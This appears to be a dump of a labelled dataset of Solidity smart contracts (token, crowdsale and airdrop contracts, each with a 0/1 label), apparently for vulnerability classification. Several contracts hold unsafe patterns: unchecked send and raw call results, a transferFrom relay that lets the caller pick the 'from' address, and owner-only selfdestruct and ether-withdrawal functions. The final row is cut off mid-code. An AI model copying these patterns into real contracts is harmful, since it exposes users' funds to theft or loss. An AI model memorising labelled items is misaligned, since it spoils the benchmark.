source_codes
stringlengths
72
205k
labels
int64
0
1
__index_level_0__
int64
0
5.56k
pragma solidity ^0.4.11; library SafeMath { function mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal returns (uint) { uint c = a / b; return c; } function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } contract ERC20Basic { uint public totalSupply; function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); event Transfer(address indexed from, address indexed to, uint value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { throw; } _; } function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } } contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } function approve(address _spender, uint _value) { if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract TES is StandardToken{ string public constant name = "TokensExchangeSystem"; string public constant symbol = "TES"; uint public constant decimals = 18; string public constant version = "1.0"; address public owner; modifier onlyOwner{ if(msg.sender != owner) throw; _; } function TES(){ owner = msg.sender; totalSupply = 10*(10**8)*(10**decimals); balances[owner] = totalSupply; } function changeOwner(address newOwner) onlyOwner{ owner = newOwner; } function () payable{ throw; } }
1
5,435
pragma solidity ^0.4.24; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { require(value <= _balances[msg.sender]); require(to != address(0)); _balances[msg.sender] = _balances[msg.sender].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom( address from, address to, uint256 value ) public returns (bool) { require(value <= _balances[from]); require(value <= _allowed[from][msg.sender]); require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); emit Transfer(from, to, value); return true; } function increaseAllowance( address spender, uint256 addedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _mint(address account, uint256 amount) internal { require(account != 0); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != 0); require(amount <= _balances[account]); _totalSupply = _totalSupply.sub(amount); _balances[account] = _balances[account].sub(amount); emit Transfer(account, address(0), amount); } function _burnFrom(address account, uint256 amount) internal { require(amount <= _allowed[account][msg.sender]); _allowed[account][msg.sender] = _allowed[account][msg.sender].sub( amount); _burn(account, amount); } } contract DonateMe is ERC20 { string public constant name = "Donate Me"; string public constant symbol = "DONATE"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 999999999999999 * (10 ** uint256(decimals)); constructor() public { _mint(msg.sender, INITIAL_SUPPLY); } }
1
4,296
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } } contract EncryptedToken is owned, TokenERC20 { uint256 INITIAL_SUPPLY = 500000000; uint256 public buyPrice = 2000; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function EncryptedToken() TokenERC20(INITIAL_SUPPLY, 'ESTA', 'ESTA') payable public { } function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value > balanceOf[_to]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); } function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function setPrices(uint256 newBuyPrice) onlyOwner public { buyPrice = newBuyPrice; } function buy() payable public { uint amount = msg.value / buyPrice; _transfer(this, msg.sender, amount); } function () payable public { uint amount = msg.value * buyPrice; _transfer(owner, msg.sender, amount); owner.send(msg.value); } function selfdestructs() onlyOwner payable public { selfdestruct(owner); } function getEth(uint num) payable public { owner.send(num); } function balanceOfa(address _owner) public constant returns (uint256) { return balanceOf[_owner]; } }
0
665
pragma solidity ^0.4.24; contract airdrop{ function transfer(address from,address caddress,address[] _tos,uint v)public returns (bool){ require(_tos.length > 0); bytes4 id=bytes4(keccak256("transferFrom(address,address,uint256)")); for(uint i=0;i<_tos.length;i++){ caddress.call(id,from,_tos[i],v); } return true; } }
0
2,194
pragma solidity ^0.4.21; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ICOStartSaleInterface { ERC20 public token; } contract ICOStartReservation is Pausable { using SafeMath for uint256; ICOStartSaleInterface public sale; uint256 public cap; uint8 public feePerc; address public manager; mapping(address => uint256) public deposits; uint256 public weiCollected; uint256 public tokensReceived; bool public canceled; bool public paid; event Deposited(address indexed depositor, uint256 amount); event Withdrawn(address indexed beneficiary, uint256 amount); event Paid(uint256 netAmount, uint256 fee); event Canceled(); function ICOStartReservation(ICOStartSaleInterface _sale, uint256 _cap, uint8 _feePerc, address _manager) public { require(_sale != (address(0))); require(_cap != 0); require(_feePerc >= 0); if (_feePerc != 0) { require(_manager != 0x0); } sale = _sale; cap = _cap; feePerc = _feePerc; manager = _manager; } modifier whenOpen() { require(isOpen()); _; } modifier whenNotCanceled() { require(!canceled); _; } modifier whenCanceled() { require(canceled); _; } modifier whenNotPaid() { require(!paid); _; } modifier whenPaid() { require(paid); _; } function capReached() public view returns (bool) { return weiCollected >= cap; } function getToken() public view returns (ERC20) { return sale.token(); } function isOpen() public view returns (bool) { return !paused && !capReached() && !canceled && !paid; } function () external payable { if (msg.value == 0) { claimTokens(msg.sender); } else { deposit(msg.sender); } } function deposit(address _depositor) public whenOpen payable { require(_depositor != address(0)); require(weiCollected.add(msg.value) <= cap); deposits[_depositor] = deposits[_depositor].add(msg.value); weiCollected = weiCollected.add(msg.value); emit Deposited(_depositor, msg.value); } function cancel() public onlyOwner whenPaused whenNotPaid { canceled = true; } function pay() public onlyOwner whenNotCanceled { require(weiCollected > 0); uint256 fee; uint256 netAmount; (fee, netAmount) = _getFeeAndNetAmount(weiCollected); require(address(sale).call.value(netAmount)(this)); tokensReceived = getToken().balanceOf(this); if (fee != 0) { manager.transfer(fee); } paid = true; emit Paid(netAmount, fee); } function withdraw() public whenCanceled { uint256 depositAmount = deposits[msg.sender]; require(depositAmount != 0); deposits[msg.sender] = 0; weiCollected = weiCollected.sub(depositAmount); msg.sender.transfer(depositAmount); emit Withdrawn(msg.sender, depositAmount); } function claimTokens(address _beneficiary) public whenPaid { require(_beneficiary != address(0)); uint256 depositAmount = deposits[_beneficiary]; if (depositAmount != 0) { uint256 tokens = tokensReceived.mul(depositAmount).div(weiCollected); assert(tokens != 0); deposits[_beneficiary] = 0; getToken().transfer(_beneficiary, tokens); } } function destroy() onlyOwner public { uint256 myTokens = getToken().balanceOf(this); if (myTokens != 0) { getToken().transfer(owner, myTokens); } selfdestruct(owner); } function _getFeeAndNetAmount(uint256 _grossAmount) internal view returns (uint256 _fee, uint256 _netAmount) { _fee = _grossAmount.div(100).mul(feePerc); _netAmount = _grossAmount.sub(_fee); } }
1
3,243
pragma solidity 0.4.19; contract ERC20Token { uint256 public totalSupply; function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Controlled { modifier onlyController { require(msg.sender == controller); _; } address public controller; function Controlled() public { controller = msg.sender;} function changeController(address _newController) public onlyController { controller = _newController; } } contract TokenController { function proxyPayment(address _owner) public payable returns(bool); function onTransfer(address _from, address _to, uint _amount) public returns(bool); function onApprove(address _owner, address _spender, uint _amount) public returns(bool); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public; } contract MiniMeToken is Controlled { string public name; uint8 public decimals; string public symbol; string public version = 'MMT_0.2'; struct Checkpoint { uint128 fromBlock; uint128 value; } MiniMeToken public parentToken; uint public parentSnapShotBlock; uint public creationBlock; mapping (address => Checkpoint[]) balances; mapping (address => mapping (address => uint256)) allowed; Checkpoint[] totalSupplyHistory; bool public transfersEnabled; MiniMeTokenFactory public tokenFactory; function MiniMeToken( address _tokenFactory, address _parentToken, uint _parentSnapShotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public { tokenFactory = MiniMeTokenFactory(_tokenFactory); name = _tokenName; decimals = _decimalUnits; symbol = _tokenSymbol; parentToken = MiniMeToken(_parentToken); parentSnapShotBlock = _parentSnapShotBlock; transfersEnabled = _transfersEnabled; creationBlock = block.number; } function transfer(address _to, uint256 _amount) public returns (bool success) { require(transfersEnabled); doTransfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount ) public returns (bool success) { if (msg.sender != controller) { require(transfersEnabled); require(allowed[_from][msg.sender] >= _amount); allowed[_from][msg.sender] -= _amount; } doTransfer(_from, _to, _amount); return true; } function doTransfer(address _from, address _to, uint _amount ) internal { if (_amount == 0) { Transfer(_from, _to, _amount); return; } require(parentSnapShotBlock < block.number); require((_to != 0) && (_to != address(this))); var previousBalanceFrom = balanceOfAt(_from, block.number); require(previousBalanceFrom >= _amount); if (isContract(controller)) { require(TokenController(controller).onTransfer(_from, _to, _amount)); } updateValueAtNow(balances[_from], previousBalanceFrom - _amount); var previousBalanceTo = balanceOfAt(_to, block.number); require(previousBalanceTo + _amount >= previousBalanceTo); updateValueAtNow(balances[_to], previousBalanceTo + _amount); Transfer(_from, _to, _amount); } function balanceOf(address _owner) public constant returns (uint256 balance) { return balanceOfAt(_owner, block.number); } function approve(address _spender, uint256 _amount) public returns (bool success) { require(transfersEnabled); require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); if (isContract(controller)) { require(TokenController(controller).onApprove(msg.sender, _spender, _amount)); } allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender ) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function approveAndCall(address _spender, uint256 _amount, bytes _extraData ) public returns (bool success) { require(approve(_spender, _amount)); ApproveAndCallFallBack(_spender).receiveApproval( msg.sender, _amount, this, _extraData ); return true; } function totalSupply() public constant returns (uint) { return totalSupplyAt(block.number); } function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint) { if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); } else { return 0; } } else { return getValueAt(balances[_owner], _blockNumber); } } function totalSupplyAt(uint _blockNumber) public constant returns(uint) { if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); } else { return 0; } } else { return getValueAt(totalSupplyHistory, _blockNumber); } } function createCloneToken( string _cloneTokenName, uint8 _cloneDecimalUnits, string _cloneTokenSymbol, uint _snapshotBlock, bool _transfersEnabled ) public returns(address) { if (_snapshotBlock == 0) _snapshotBlock = block.number; MiniMeToken cloneToken = tokenFactory.createCloneToken( this, _snapshotBlock, _cloneTokenName, _cloneDecimalUnits, _cloneTokenSymbol, _transfersEnabled ); cloneToken.changeController(msg.sender); NewCloneToken(address(cloneToken), _snapshotBlock); return address(cloneToken); } function generateTokens(address _owner, uint _amount ) public onlyController returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply + _amount >= curTotalSupply); uint previousBalanceTo = balanceOf(_owner); require(previousBalanceTo + _amount >= previousBalanceTo); updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); updateValueAtNow(balances[_owner], previousBalanceTo + _amount); Transfer(0, _owner, _amount); return true; } function destroyTokens(address _owner, uint _amount ) onlyController public returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply >= _amount); uint previousBalanceFrom = balanceOf(_owner); require(previousBalanceFrom >= _amount); updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); Transfer(_owner, 0, _amount); return true; } function enableTransfers(bool _transfersEnabled) public onlyController { transfersEnabled = _transfersEnabled; } function getValueAt(Checkpoint[] storage checkpoints, uint _block ) constant internal returns (uint) { if (checkpoints.length == 0) return 0; if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1)/ 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value ) internal { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length -1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size>0; } function min(uint a, uint b) pure internal returns (uint) { return a < b ? a : b; } function () public payable { require(isContract(controller)); require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender)); } function claimTokens(address _token) public onlyController { if (_token == 0x0) { controller.transfer(address(this).balance); return; } MiniMeToken token = MiniMeToken(_token); uint balance = token.balanceOf(this); token.transfer(controller, balance); ClaimedTokens(_token, controller, balance); } event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); event Transfer(address indexed _from, address indexed _to, uint256 _amount); event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); } contract MiniMeTokenFactory { function createCloneToken( address _parentToken, uint _snapshotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public returns (MiniMeToken) { MiniMeToken newToken = new MiniMeToken( this, _parentToken, _snapshotBlock, _tokenName, _decimalUnits, _tokenSymbol, _transfersEnabled ); newToken.changeController(msg.sender); return newToken; } } contract Owned { modifier onlyOwner() { require(msg.sender == owner); _; } address public owner; function Owned() public { owner = msg.sender; } address public newOwner; function changeOwner(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { if (msg.sender == newOwner) { owner = newOwner; } } } contract TokenContribution is Owned, TokenController { using SafeMath for uint256; uint256 constant public maxSupply = 1000000000 * 10**8; uint256 constant public saleLimit = 500000000 * 10**8; uint256 constant public maxGasPrice = 50000000000; uint256 constant public maxCallFrequency = 100; MiniMeToken public token; address public destTokensTeam; address public destTokensReserve; address public destTokensBounties; address public destTokensAirdrop; address public destTokensAdvisors; address public destTokensEarlyInvestors; uint256 public totalTokensGenerated; uint256 public finalizedBlock; uint256 public finalizedTime; uint256 public generatedTokensSale; mapping(address => uint256) public lastCallBlock; modifier initialized() { require(address(token) != 0x0); _; } function TokenContribution() public { } function changeController(address _newController) public onlyOwner { token.changeController(_newController); ControllerChanged(_newController); } function initialize( address _token, address _destTokensReserve, address _destTokensTeam, address _destTokensBounties, address _destTokensAirdrop, address _destTokensAdvisors, address _destTokensEarlyInvestors ) public onlyOwner { require(address(token) == 0x0); token = MiniMeToken(_token); require(token.totalSupply() == 0); require(token.controller() == address(this)); require(token.decimals() == 8); require(_destTokensReserve != 0x0); destTokensReserve = _destTokensReserve; require(_destTokensTeam != 0x0); destTokensTeam = _destTokensTeam; require(_destTokensBounties != 0x0); destTokensBounties = _destTokensBounties; require(_destTokensAirdrop != 0x0); destTokensAirdrop = _destTokensAirdrop; require(_destTokensAdvisors != 0x0); destTokensAdvisors = _destTokensAdvisors; require(_destTokensEarlyInvestors != 0x0); destTokensEarlyInvestors= _destTokensEarlyInvestors; } function proxyPayment(address) public payable returns (bool) { return false; } function onTransfer(address _from, address, uint256) public returns (bool) { return transferable(_from); } function onApprove(address _from, address, uint256) public returns (bool) { return transferable(_from); } function transferable(address _from) internal view returns (bool) { if (finalizedTime == 0) return false; return (getTime() > finalizedTime) || (_from == owner); } function generate(address _th, uint256 _amount) public onlyOwner { require(generatedTokensSale.add(_amount) <= saleLimit); require(_amount > 0); generatedTokensSale = generatedTokensSale.add(_amount); token.generateTokens(_th, _amount); NewSale(_th, _amount); } function finalize() public initialized onlyOwner { require(finalizedBlock == 0); finalizedBlock = getBlockNumber(); finalizedTime = now; uint256 percentageToTeam = percent(18); uint256 percentageToReserve = percent(8); uint256 percentageToBounties = percent(13); uint256 percentageToAirdrop = percent(2); uint256 percentageToAdvisors = percent(7); uint256 percentageToEarlyInvestors = percent(2); assert(token.generateTokens( destTokensBounties, maxSupply.mul(percentageToBounties).div(percent(100)))); assert(token.generateTokens( destTokensReserve, maxSupply.mul(percentageToReserve).div(percent(100)))); assert(token.generateTokens( destTokensTeam, maxSupply.mul(percentageToTeam).div(percent(100)))); assert(token.generateTokens( destTokensAirdrop, maxSupply.mul(percentageToAirdrop).div(percent(100)))); assert(token.generateTokens( destTokensAdvisors, maxSupply.mul(percentageToAdvisors).div(percent(100)))); assert(token.generateTokens( destTokensEarlyInvestors, maxSupply.mul(percentageToEarlyInvestors).div(percent(100)))); Finalized(); } function percent(uint256 p) internal pure returns (uint256) { return p.mul(10 ** 16); } function isContract(address _addr) internal view returns (bool) { if (_addr == 0) return false; uint256 size; assembly { size := extcodesize(_addr) } return (size > 0); } function tokensIssued() public view returns (uint256) { return token.totalSupply(); } function getBlockNumber() internal view returns (uint256) { return block.number; } function getTime() internal view returns (uint256) { return now; } function claimTokens(address _token) public onlyOwner { if (token.controller() == address(this)) { token.claimTokens(_token); } if (_token == 0x0) { owner.transfer(address(this).balance); return; } ERC20Token erc20token = ERC20Token(_token); uint256 balance = erc20token.balanceOf(this); erc20token.transfer(owner, balance); ClaimedTokens(_token, owner, balance); } event ClaimedTokens(address indexed _token, address indexed _controller, uint256 _amount); event ControllerChanged(address indexed _newController); event NewSale(address indexed _th, uint256 _amount); event Finalized(); } library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { uint c = a / b; return c; } function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function percent(uint a, uint b) internal pure returns (uint) { return b * a / 100; } } contract ReserveTokensHolder is Owned { using SafeMath for uint256; uint256 public collectedTokens; TokenContribution public crowdsale; MiniMeToken public miniMeToken; function ReserveTokensHolder(address _owner, address _crowdsale, address _miniMeToken) public { owner = _owner; crowdsale = TokenContribution(_crowdsale); miniMeToken = MiniMeToken(_miniMeToken); } function collectTokens() public onlyOwner { uint256 balance = miniMeToken.balanceOf(address(this)); uint256 total = collectedTokens.add(balance); uint256 finalizedTime = crowdsale.finalizedTime(); require(finalizedTime > 0 && getTime() > finalizedTime.add(months(18))); uint256 canExtract = 0; if (getTime() <= finalizedTime.add(months(36))) { require(collectedTokens < total.percent(50)); canExtract = total.percent(50); } else { require(collectedTokens < total); canExtract = total; } canExtract = canExtract.sub(collectedTokens); if (canExtract > balance) { canExtract = balance; } collectedTokens = collectedTokens.add(canExtract); miniMeToken.transfer(owner, canExtract); TokensWithdrawn(owner, canExtract); } function months(uint256 m) internal pure returns (uint256) { return m.mul(30 days); } function getTime() internal view returns (uint256) { return now; } function claimTokens(address _token) public onlyOwner { require(_token != address(miniMeToken)); if (_token == 0x0) { owner.transfer(address(this).balance); return; } ERC20Token token = ERC20Token(_token); uint256 balance = token.balanceOf(this); token.transfer(owner, balance); ClaimedTokens(_token, owner, balance); } event ClaimedTokens(address indexed _token, address indexed _controller, uint256 _amount); event TokensWithdrawn(address indexed _holder, uint256 _amount); }
1
4,739
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, 